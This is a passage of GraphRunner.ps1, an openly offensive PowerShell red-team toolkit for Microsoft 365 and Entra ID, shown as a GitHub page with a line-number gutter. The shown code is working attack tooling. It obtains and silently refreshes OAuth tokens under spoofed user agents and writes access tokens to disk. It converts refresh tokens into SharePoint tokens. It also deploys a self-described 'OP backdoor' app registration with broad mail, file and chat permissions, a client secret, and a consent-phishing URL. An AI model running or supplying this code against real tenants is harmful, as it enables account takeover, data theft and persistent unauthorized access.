-
Notifications
You must be signed in to change notification settings - Fork 105
/
GraphRunner.ps1
7725 lines (6599 loc) · 349 KB
/
GraphRunner.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
Write-Host -ForegroundColor green "
________ __ _______ by Beau Bullock (@dafthack)
/_______/___________ ______ | |____/_______\__ __ ____ ____ ___________
/___\ __\______\____\ \_____\|__|__\|________/__|__\/____\ /____\_/____\______\
\ \_\ \ | \// __ \| |_/ | Y \ | \ | / | \ | \ ___/| | \/
\________/__| (______/__| |___|__|____|___/____/|___|__/___|__/\___| >__|
Do service principals dream of electric sheep?
For usage information see the wiki here: https://github.com/dafthack/GraphRunner/wiki
To list GraphRunner modules run List-GraphRunnerModules
"
function Get-GraphTokens{
<#
.SYNOPSIS
Get-GraphTokens is the main user authentication module for GraphRunner. Upon authenticating it will store your tokens in the global $tokens variable as well as the tenant ID in $tenantid. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
Author: Beau Bullock (@dafthack)
License: MIT
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Get-GraphTokens is the main user authentication module for GraphRunner. Upon authenticating it will store your tokens in the global $tokens variable as well as the tenant ID in $tenantid. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
.PARAMETER UserPasswordAuth
Provide a username and password for authentication instead of using a device code auth.
.PARAMETER Client
Provide a Client to authenticate to. Use Custom to provide your own ClientID.
.PARAMETER ClientID
Provide a ClientID to use with the Custom client option.
.PARAMETER Resource
Provide a resource to authenticate to such as https://graph.microsoft.com/
.PARAMETER Device
Provide a device type to use such as Windows or Android.
.PARAMETER Browser
Provide a Browser to spoof.
.EXAMPLE
C:\PS> Get-GraphTokens
Description
-----------
This command will initiate a device code auth where you can authenticate the terminal from an already authenticated browser session.
#>
[CmdletBinding()]
param(
[Parameter(Position = 0,Mandatory=$False)]
[switch]$ExternalCall,
[Parameter(Position = 1,Mandatory=$False)]
[switch]$UserPasswordAuth,
[Parameter(Position = 2,Mandatory=$False)]
[ValidateSet("Yammer","Outlook","MSTeams","Graph","AzureCoreManagement","AzureManagement","MSGraph","DODMSGraph","Custom","Substrate")]
[String[]]$Client = "MSGraph",
[Parameter(Position = 3,Mandatory=$False)]
[String]$ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c",
[Parameter(Position = 4,Mandatory=$False)]
[String]$Resource = "https://graph.microsoft.com",
[Parameter(Position = 5,Mandatory=$False)]
[ValidateSet('Mac','Windows','AndroidMobile','iPhone')]
[String]$Device,
[Parameter(Position = 6,Mandatory=$False)]
[ValidateSet('Android','IE','Chrome','Firefox','Edge','Safari')]
[String]$Browser
)
if ($Device) {
if ($Browser) {
$UserAgent = Invoke-ForgeUserAgent -Device $Device -Browser $Browser
}
else {
$UserAgent = Invoke-ForgeUserAgent -Device $Device
}
}
else {
if ($Browser) {
$UserAgent = Invoke-ForgeUserAgent -Browser $Browser
}
else {
$UserAgent = Invoke-ForgeUserAgent
}
}
if($UserPasswordAuth){
Write-Host -ForegroundColor Yellow "[*] Initiating the User/Password authentication flow"
$username = Read-Host -Prompt "Enter username"
$password = Read-Host -Prompt "Enter password" -AsSecureString
$passwordText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($password))
$url = "https://login.microsoft.com/common/oauth2/token"
$headers = @{
"Accept" = "application/json"
"Content-Type" = "application/x-www-form-urlencoded"
"User-Agent" = $UserAgent
}
$body = "grant_type=password&password=$passwordText&client_id=$ClientID&username=$username&resource=$Resource&client_info=1&scope=openid"
try{
Write-Host -ForegroundColor Yellow "[*] Trying to authenticate with the provided credentials"
$tokens = Invoke-RestMethod -Uri $url -Method Post -Headers $headers -Body $body
if ($tokens) {
$tokenPayload = $tokens.access_token.Split(".")[1].Replace('-', '+').Replace('_', '/')
while ($tokenPayload.Length % 4) { Write-Verbose "Invalid length for a Base-64 char array or string, adding ="; $tokenPayload += "=" }
$tokenByteArray = [System.Convert]::FromBase64String($tokenPayload)
$tokenArray = [System.Text.Encoding]::ASCII.GetString($tokenByteArray)
$tokobj = $tokenArray | ConvertFrom-Json
$global:tenantid = $tokobj.tid
Write-Output "Decoded JWT payload:"
$tokobj
Write-Host -ForegroundColor Green '[*] Successful authentication. Access and refresh tokens have been written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)'
$baseDate = Get-Date -date "01-01-1970"
$tokenExpire = $baseDate.AddSeconds($tokobj.exp).ToLocalTime()
Write-Host -ForegroundColor Yellow "[!] Your access token is set to expire on: $tokenExpire"
}
} catch {
$details = $_.ErrorDetails.Message | ConvertFrom-Json
Write-Output $details.error
}
$global:tokens = $tokens
if($ExternalCall){
return $tokens
}
}
else{
If($tokens){
$newtokens = $null
while($newtokens -notlike "Yes"){
Write-Host -ForegroundColor cyan "[*] It looks like you already tokens set in your `$tokens variable. Are you sure you want to authenticate again?"
$answer = Read-Host
$answer = $answer.ToLower()
if ($answer -eq "yes" -or $answer -eq "y") {
Write-Host -ForegroundColor yellow "[*] Initiating device code login..."
$global:tokens = ""
$newtokens = "Yes"
} elseif ($answer -eq "no" -or $answer -eq "n") {
Write-Host -ForegroundColor Yellow "[*] Quitting..."
return
} else {
Write-Host -ForegroundColor red "Invalid input. Please enter Yes or No."
}
}
}
$body = @{
"client_id" = $ClientID
"resource" = $Resource
}
$Headers=@{}
$Headers["User-Agent"] = $UserAgent
$authResponse = Invoke-RestMethod `
-UseBasicParsing `
-Method Post `
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
-Headers $Headers `
-Body $body
Write-Host -ForegroundColor yellow $authResponse.Message
$continue = "authorization_pending"
while ($continue) {
$body = @{
"client_id" = $ClientID
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
"code" = $authResponse.device_code
"scope" = "openid"
}
try {
$tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" -Headers $Headers -Body $body
if ($tokens) {
$tokenPayload = $tokens.access_token.Split(".")[1].Replace('-', '+').Replace('_', '/')
while ($tokenPayload.Length % 4) { Write-Verbose "Invalid length for a Base-64 char array or string, adding ="; $tokenPayload += "=" }
$tokenByteArray = [System.Convert]::FromBase64String($tokenPayload)
$tokenArray = [System.Text.Encoding]::ASCII.GetString($tokenByteArray)
$tokobj = $tokenArray | ConvertFrom-Json
$global:tenantid = $tokobj.tid
Write-Output "Decoded JWT payload:"
$tokobj
$baseDate = Get-Date -date "01-01-1970"
$tokenExpire = $baseDate.AddSeconds($tokobj.exp).ToLocalTime()
Write-Host -ForegroundColor Green '[*] Successful authentication. Access and refresh tokens have been written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)'
Write-Host -ForegroundColor Yellow "[!] Your access token is set to expire on: $tokenExpire"
$continue = $null
}
} catch {
$details = $_.ErrorDetails.Message | ConvertFrom-Json
$continue = $details.error -eq "authorization_pending"
Write-Output $details.error
}
if ($continue) {
Start-Sleep -Seconds 3
}
else{
$global:tokens = $tokens
if($ExternalCall){
return $tokens
}
}
}
}
}
function Invoke-AutoTokenRefresh{
<#
.SYNOPSIS
Continuously refresh tokens at an interval.
Author: Steve Borosh (@424f424f)
License: MIT
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
This module will refresh a Microsoft ID token at specified intervals.
.PARAMETER RefreshToken
Supply a refresh token to re-authenticate.
.PARAMETER tenantid
Supply a tenant domain or ID to authenticate to.
.PARAMETER RefreshInterval
Supply an interval in minutes to refresh the token. Default 5 minutes.
.PARAMETER InitializationDelay
Supply a delay before starting to refresh in minutes. Devault is 0.
.PARAMETER OutFile
Supply file name to save to. This will overwrite the current file.
.EXAMPLE
C:\PS> Invoke-AutoTokenRefresh - RefreshToken "0.A.." -tenantid "company.com" -Outfile .\access_token.txt
Description
-----------
This command will use the refresh token to aquire a new access_token, save it to the $tokens variable and to the Outfile.
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory = $True)]
[string]
$RefreshToken,
[Parameter(Mandatory = $True)]
[string]
$tenantid,
[Parameter(Mandatory = $False)]
$RefreshInterval = 5,
[Parameter(Mandatory = $False)]
$InitializationDelay = 0,
[Parameter(Mandatory = $False)]
[switch]
$DisplayToken,
[Parameter(Mandatory = $False)]
[string]
$Outfile
)
if($InitializationDelay){
Start-Sleep -Seconds (60 * $InitializationDelay)
}
while($true){
if(!$RefreshToken){
write-host -ForegroundColor red '[*] A refresh token is required.'
break
} elseif (!$tenantid){
write-host -ForegroundColor red '[*] The tenant id or domain is required.'
}
Write-Host -ForegroundColor yellow "[*] Refreshing Tokens..."
$authUrl = "https://login.microsoftonline.com/$tenantid"
$refreshbody = @{
"resource" = "https://graph.microsoft.com/"
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
"grant_type" = "refresh_token"
"refresh_token" = $RefreshToken
"scope"= "openid"
}
$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
$Headers=@{}
$Headers["User-Agent"] = $UserAgent
try {
$reftokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "$($authUrl)/oauth2/token" -Headers $Headers -Body $refreshbody
}
catch {
$details=$_.ErrorDetails.Message | ConvertFrom-Json
Write-Output $details.error
}
if($reftokens)
{
$global:tokens = $reftokens
$tokenPayload = $tokens.access_token.Split(".")[1].Replace('-', '+').Replace('_', '/')
while ($tokenPayload.Length % 4) { Write-Verbose "Invalid length for a Base-64 char array or string, adding ="; $tokenPayload += "=" }
$tokenByteArray = [System.Convert]::FromBase64String($tokenPayload)
$tokenArray = [System.Text.Encoding]::ASCII.GetString($tokenByteArray)
$tokobj = $tokenArray | ConvertFrom-Json
$global:tenantid = $tokobj.tid
Write-host "Decoded JWT payload:"
$tokobj
$global:tokens.access_token | Out-File -encoding ascii -FilePath $Outfile
Write-Host -ForegroundColor Green '[*] Successful authentication. Access and refresh tokens have been written to the global $access_token variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)'
$baseDate = Get-Date -date "01-01-1970"
$tokenExpire = $baseDate.AddSeconds($tokobj.exp).ToLocalTime()
Write-Host -ForegroundColor Yellow "[!] Your access token is set to expire on: $tokenExpire"
if($DisplayToken){
Write-Host "[*] Your access token is:"
Write-Host $global:tokens.access_token
}
Start-Sleep -Seconds (60 * $RefreshInterval)
}
}
}
function Invoke-RefreshGraphTokens {
<#
.SYNOPSIS
Access tokens typically have an expiration time of one hour, so it will be necessary to refresh them occasionally. If you have already run the Get-GraphTokens command, your refresh tokens will be utilized when you run Invoke-RefreshGraphTokens to obtain a new set of tokens.
Author: Beau Bullock (@dafthack)
License: MIT
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Access tokens typically have an expiration time of one hour, so it will be necessary to refresh them occasionally. If you have already run the Get-GraphTokens command, your refresh tokens will be utilized when you run Invoke-RefreshGraphTokens to obtain a new set of tokens.
.PARAMETER RefreshToken
Supply a refresh token to re-authenticate.
.PARAMETER tenantid
Supply a tenant domain or ID to authenticate to.
.PARAMETER Client
Provide a Client to authenticate to. Use Custom to provide your own ClientID.
.PARAMETER ClientID
Provide a ClientID to use with the Custom client option.
.PARAMETER Resource
Provide a resource to authenticate to such as https://graph.microsoft.com/
.PARAMETER Device
Provide a device type to use such as Windows or Android.
.PARAMETER Browser
Provide a Browser to spoof.
.PARAMETER AutoRefresh
If this switch is enabled, it will skip the 'break' statement, allowing for automatic token refresh.
#>
[cmdletbinding()]
Param (
[Parameter(Mandatory = $False)]
[string]
$RefreshToken,
[Parameter(Mandatory = $False)]
[string]
$tenantid = $global:tenantid,
[Parameter(Mandatory = $False)]
[ValidateSet("Yammer", "Outlook", "MSTeams", "Graph", "AzureCoreManagement", "AzureManagement", "MSGraph", "DODMSGraph", "Custom", "Substrate")]
[String[]]$Client = "MSGraph",
[Parameter(Mandatory = $False)]
[String]
$ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c",
[Parameter(Mandatory = $False)]
[String]
$Resource = "https://graph.microsoft.com",
[Parameter(Mandatory = $False)]
[ValidateSet('Mac', 'Windows', 'AndroidMobile', 'iPhone')]
[String]
$Device,
[Parameter(Mandatory = $False)]
[ValidateSet('Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari')]
[String]
$Browser,
[switch]
$AutoRefresh
)
if ($Device) {
if ($Browser) {
$UserAgent = Invoke-ForgeUserAgent -Device $Device -Browser $Browser
} else {
$UserAgent = Invoke-ForgeUserAgent -Device $Device
}
} else {
if ($Browser) {
$UserAgent = Invoke-ForgeUserAgent -Browser $Browser
} else {
$UserAgent = Invoke-ForgeUserAgent
}
}
if (!$RefreshToken) {
if (!$tokens) {
Write-Host -ForegroundColor red '[*] No tokens found in the $tokens variable. Use the Get-GraphTokens module to authenticate first.'
break
} else {
$RefreshToken = $tokens.refresh_token
}
}
Write-Host -ForegroundColor yellow "[*] Refreshing Tokens..."
$authUrl = "https://login.microsoftonline.com/$tenantid"
$refreshbody = @{
"resource" = "https://graph.microsoft.com/"
"client_id" = $ClientID
"grant_type" = "refresh_token"
"refresh_token" = $RefreshToken
"scope" = "openid"
}
$Headers = @{}
$Headers["User-Agent"] = $UserAgent
try {
$reftokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "$($authUrl)/oauth2/token" -Headers $Headers -Body $refreshbody
} catch {
$errorMessage = $_.Exception.Message
Write-Output "Error refreshing tokens: $errorMessage"
return
}
if ($reftokens) {
$global:tokens = $reftokens
$tokenPayload = $reftokens.access_token.Split(".")[1].Replace('-', '+').Replace('_', '/')
while ($tokenPayload.Length % 4) { Write-Verbose "Invalid length for a Base-64 char array or string, adding ="; $tokenPayload += "=" }
$tokenByteArray = [System.Convert]::FromBase64String($tokenPayload)
$tokenArray = [System.Text.Encoding]::ASCII.GetString($tokenByteArray)
$tokobj = $tokenArray | ConvertFrom-Json
$global:tenantid = $tokobj.tid
if(!$AutoRefresh){
Write-host "Decoded JWT payload:"
$tokobj
Write-Host -ForegroundColor Green '[*] Successful authentication. Access and refresh tokens have been written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)'
}
$baseDate = Get-Date -date "01-01-1970"
$tokenExpire = $baseDate.AddSeconds($tokobj.exp).ToLocalTime()
Write-Host -ForegroundColor Yellow "[!] Your access token is set to expire on: $tokenExpire"
if (-not $AutoRefresh) {
break
}
return $reftokens
}
}
function Invoke-InjectOAuthApp{
<#
.SYNOPSIS
This is a CLI tool for automating the deployment of an app registration to a Microsoft Azure tenant. In the event that the Azure portal is locked down this may provide an additional mechanism for app deployment, provided that user's are allowed to register apps in the tenant.
Author: Beau Bullock (@dafthack)
License: MIT
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
This is a CLI tool for automating the deployment of an app registration to a Microsoft Azure tenant. In the event that the Azure portal is locked down this may provide an additional mechanism for app deployment, provided that user's are allowed to register apps in the tenant.
.PARAMETER AppName
The display name of the App Registration. This is what will be displayed on the consent page.
.PARAMETER ReplyUrl
The reply URL to redirect a user to after app consent. This is where you will want to capture the OAuth code and complete the flow to obtain an access token and refresh token.
.PARAMETER Scope
Delegated Microsoft Graph permissions to scope to the app. Example: Mail.Read, User.ReadBasic.All, etc. Scope items need to be comma separated with each item in double quotes like this (-scope "Mail.Read","openid","email","profile","offline_access")
.PARAMETER Tokens
Provide an already authenticated access token.
.EXAMPLE
C:\PS> Invoke-InjectOAuthApp -AppName "Win Defend for M365" -ReplyUrl "https://windefend.azurewebsites.net" -scope "openid","Mail.Read","email","profile","offline_access"
Description
-----------
This command will inject an app registration with the display name of "Win Defend for M365" with a scope of openid, Mail.Read, email, profile, and offline_access
.EXAMPLE
C:\PS> Invoke-InjectOAuthApp -AppName "Not a Backdoor" -ReplyUrl "https://localhost:10000" -scope "op backdoor" -Tokens $tokens
Description
-----------
This command takes an already authenticated access token gathered from something like a device code login. It uses the hardcoded value of "op backdoor" as the scope to add a large number of permissions to the app registration. None of these permissions require admin consent. Also, by specifying the reply url as running on localhost you can use the Invoke-AutoOAuthFlow module to spin up a web server on the localhost for capturing the auth code during consent flow.
#>
Param(
[Parameter(Position = 0, Mandatory = $True)]
[string]
$AppName = "",
[Parameter(Position = 1, Mandatory = $True)]
[string]
$ReplyUrl = "",
[Parameter(Position = 2, Mandatory = $True)]
[string[]]
$Scope,
[Parameter(Position = 3, Mandatory = $False)]
[object[]]
$Tokens
)
if($Tokens){
Write-Host -ForegroundColor yellow "[*] Using the provided access tokens."
}
else{
# Login
Write-Host -ForegroundColor yellow "[*] First, you need to login as the user you want to deploy the app as."
Write-Host -ForegroundColor yellow "[*] If you already have tokens you can use the -Tokens parameter to pass them to this function."
while($auth -notlike "Yes"){
Write-Host -ForegroundColor cyan "[*] Do you want to authenticate now (yes/no)?"
$answer = Read-Host
$answer = $answer.ToLower()
if ($answer -eq "yes" -or $answer -eq "y") {
Write-Host -ForegroundColor yellow "[*] Running Get-GraphTokens now..."
$tokens = Get-GraphTokens -ExternalCall
$auth = "Yes"
} elseif ($answer -eq "no" -or $answer -eq "n") {
Write-Host -ForegroundColor Yellow "[*] Quitting..."
return
} else {
Write-Host -ForegroundColor red "Invalid input. Please enter Yes or No."
}
}
}
$access_token = $tokens.access_token
$Headers = @{
Authorization = "Bearer $access_token"
}
# Get Microsoft Graph Object ID
Write-Host -ForegroundColor yellow "[*] Getting Microsoft Graph Object ID"
# Get full service principal list
$initialUrl = "https://graph.microsoft.com/v1.0/servicePrincipals"
$headers = @{"Authorization" = "Bearer $access_token"}
# Initialize an array to store all collected data
$allData = @()
# Loop until there's no more nextLink
do {
# Invoke the web request
try{
$response = Invoke-WebRequest -UseBasicParsing -Uri $initialUrl -Headers $headers
}catch{
Write-Host -ForegroundColor Red "[*] Something went wrong."
return
}
# Convert the response content to JSON
$jsonData = $response.Content | ConvertFrom-Json
# Add the current page's data to the array
$allData += $jsonData.value
# Check if there's a nextLink
if ($jsonData.'@odata.nextLink') {
$initialUrl = $jsonData.'@odata.nextLink'
}
else {
break
}
} while ($true)
$appDisplayNameToSearch = "Microsoft Graph"
$graphId = $allData | Where-Object { $_.appDisplayName -eq $appDisplayNameToSearch } | Select-Object -ExpandProperty appId
$graphIdInternal = $allData | Where-Object { $_.appDisplayName -eq $appDisplayNameToSearch } | Select-Object -ExpandProperty Id
Write-Output "Graph ID: $graphId"
Write-Output "Internal Graph ID: $graphIdInternal"
# Get Object IDs of individual permissions
Write-Host -ForegroundColor yellow "[*] Now getting object IDs for scope objects:"
$spns = Invoke-WebRequest -UseBasicParsing -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/$graphIdInternal" -Headers $headers
$spnsjson = $spns.Content | ConvertFrom-Json
if ($Scope -like "op backdoor")
{
$Scope = "openid","profile","offline_access","email","User.Read","User.ReadBasic.All","Mail.Read","Mail.Send","Mail.Read.Shared","Mail.Send.Shared","Files.ReadWrite.All","EWS.AccessAsUser.All","ChatMessage.Read","ChatMessage.Send","Chat.ReadWrite","Chat.Create","ChannelMessage.Edit","ChannelMessage.Send","Channel.ReadBasic.All","Presence.Read.All","Team.ReadBasic.All","Team.Create","Sites.Manage.All","Sites.Read.All","Sites.ReadWrite.All","Policy.Read.ConditionalAccess"
Write-Host -ForegroundColor yellow "[*] One overpowered (OP) backdoor is coming right up! Here is the scope:"
}
elseif ($Scope -like "mail reader")
{
$Scope = "openid","profile","offline_access","email","User.Read","Mail.Read","Mail.Read.Shared"
Write-Host -ForegroundColor yellow "[*] One overpowered (OP) backdoor is coming right up! Here is the scope:"
}
$scopeurl = ""
$accesslist = ""
$scopeIds = @{}
$joinedScope = $Scope -join " "
$joinedScope
# Loop through each item in $Scope
foreach ($item in $Scope){
$variableName = $item -replace "[\W\d]", "" # Remove non-alphanumeric characters and digits
$variableName = $variableName + "Scope"
$scopeItem = $spnsjson.oauth2PermissionScopes | Where-Object { $_.value -eq "$item" } |select-object id
$scopeId = ('"' + $scopeItem.Id +'"')
if (!$scopeId){Write-host -foregroundcolor red "[**] Couldn't find scope option $item"}
else{
Write-Host ($item + " : " + $scopeId)
$scopeurl += "$item%20"
$accesslist += '{"id": ' + $scopeId + ',"type": "Scope"},'
# Store the scope ID in the hashtable
$scopeIds[$variableName] = $scopeId
}
}
Write-Host -ForegroundColor yellow "[*] Finished collecting object IDs of permissions."
# Create a resources variable
$permissions = $accesslist.Trim(",")
$resources = @"
{"resourceAppId": "$graphId", "resourceAccess": [$permissions]}
"@
# Create the app in the tenant
Write-host -ForegroundColor yellow "[*] Now deploying the app registration with display name $AppName to the tenant."
$resourceAccess = $resources | ConvertFrom-Json
# Construct the JSON body
$jsonBody = @{
displayName = $AppName
signInAudience = "AzureADMultipleOrgs"
keyCredentials = @()
web = @{
redirectUris = @($ReplyUrl)
}
requiredResourceAccess = @(
@{
resourceAppId = $resourceAccess.resourceAppId
resourceAccess = $resourceAccess.resourceAccess
}
)
}
# Convert the JSON body to a properly formatted JSON string
$finalJson = $jsonBody | ConvertTo-Json -Depth 10
$appcreationheaders = @{
Authorization = "Bearer $access_token"
"Content-Type" = "application/json"
"Accept-Encoding" = "gzip, deflate"
}
$appresponse = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/applications" -Headers $appcreationheaders -Method Post -Body $finaljson
if (!$appresponse){
Write-host -ForegroundColor red "[*] An error occurred during deployment."
break
}
$currentTime = Get-Date -Format "yyyy-MM-ddTHH:mm:ssZ"
$oneYearLater = (Get-Date).AddYears(1).ToString("yyyy-MM-ddTHH:mm:ssZ")
$secretCredential = @{
passwordCredential = @{
displayName = $null
endDateTime = $oneYearLater
startDateTime = $currentTime
}
}
$SecretBody = $secretCredential | ConvertTo-Json
$applicationid = $appresponse.id
$secretrequest = Invoke-WebRequest -UseBasicParsing -Headers $Headers -Method POST -ContentType "application/json" -Body $SecretBody -Uri "https://graph.microsoft.com/v1.0/applications/$applicationid/addPassword"
$secretdata = $secretrequest.Content |ConvertFrom-json
# Generate the Consent URL
Write-host -ForegroundColor yellow "[*] If everything worked successfully this is the consent URL you can use to grant consent to the app:"
$consentURL = "https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=" + $appresponse.AppId + "&response_type=code&redirect_uri=" + [System.Web.HttpUtility]::UrlEncode($ReplyUrl) + "&response_mode=query&scope=" + $scopeurl.Trim("%20") + "&state=1234"
Write-Host "--------------------------------------------------------"
Write-Host -ForegroundColor green $consentURL
Write-Host "--------------------------------------------------------"
Write-Host ("Application ID: " + $appresponse.AppId)
Write-Host ("Object ID: " + $appresponse.Id)
Write-Host ("Secret: " + $Secretdata.secretText)
Write-Host "--------------------------------------------------------"
if($ReplyUrl -match "localhost" -or $ReplyUrl -match "127.0.0.1"){
Write-Host "Localhost detected in Reply URL field. You can use the Invoke-AutoOAuthFlow module to complete the OAuth flow automatically."
Write-Host "--------------------------------------------------------"
$scopeclean = ('"' + $scopeurl.replace('%20', ' ').Trim(" ") + '"')
Write-Host -ForegroundColor Cyan ('Invoke-AutoOAuthFlow -ClientId "' + $appresponse.AppId + '" -ClientSecret "' + $Secretdata.secretText + '" -RedirectUri "' + $ReplyURL + '" -scope ' + $scopeclean)
}
else{
Write-Host "After you obtain an OAuth Code from the redirect URI server you can use this command to complete the flow:"
Write-Host "--------------------------------------------------------"
$scopeclean = ('"' + $scopeurl.replace('%20', ' ').Trim(" ") + '"')
Write-Host -ForegroundColor Cyan ('Get-AzureAppTokens -ClientId "' + $appresponse.AppId + '" -ClientSecret "' + $Secretdata.secretText + '" -RedirectUri "' + $ReplyURL + '" -scope ' + $scopeclean + " -AuthCode <insert your OAuth Code here>")
}
}
function Invoke-RefreshToSharePointToken {
<#
.DESCRIPTION
Generate a SharePoint token from a refresh token.
.EXAMPLE
Invoke-RefreshToSharePointToken -domain myclient.org -refreshToken ey....
$SharePointToken.access_token
#>
[cmdletbinding()]
Param([Parameter(Mandatory=$false)]
[string]$domain,
[Parameter(Mandatory=$false)]
[String]$ClientId = "d3590ed6-52b3-4102-aeff-aad2292ab01c",
[Parameter(Position = 3, Mandatory = $True)]
[object[]]
$Tokens,
[Parameter(Mandatory=$False)]
[ValidateSet('Mac','Windows','AndroidMobile','iPhone')]
[String]$Device,
[Parameter(Mandatory=$False)]
[ValidateSet('Android','IE','Chrome','Firefox','Edge','Safari')]
[String]$Browser
)
if ($Device) {
if ($Browser) {
$UserAgent = Invoke-ForgeUserAgent -Device $Device -Browser $Browser
}
else {
$UserAgent = Invoke-ForgeUserAgent -Device $Device
}
}
else {
if ($Browser) {
$UserAgent = Invoke-ForgeUserAgent -Browser $Browser
}
else {
$UserAgent = Invoke-ForgeUserAgent
}
}
$Headers=@{}
$Headers["User-Agent"] = $UserAgent
$Resource = "https://$($domain)/"
$authUrl = "https://login.microsoftonline.com/$($global:tenantid)"
$refreshToken = $tokens.refresh_token
$body = @{
"resource" = $Resource
"client_id" = $ClientId
"grant_type" = "refresh_token"
"refresh_token" = $refreshToken
"scope" = "openid"
}
$global:SharePointToken = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "$($authUrl)/oauth2/token?api-version=1.0" -Headers $Headers -Body $body
}
function Invoke-ImmersiveFileReader{
<#
.SYNOPSIS
Simple module to read a file with the immersive reader.
Author: Steve Borosh (@424f424f)
License: MIT
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Simple module to read a file with the immersive reader.
.PARAMETER SharePointDomain
The target SharePoint domain. e.g. targetcompany.sharepoint.com
.PARAMETER DriveID
The DriveID.
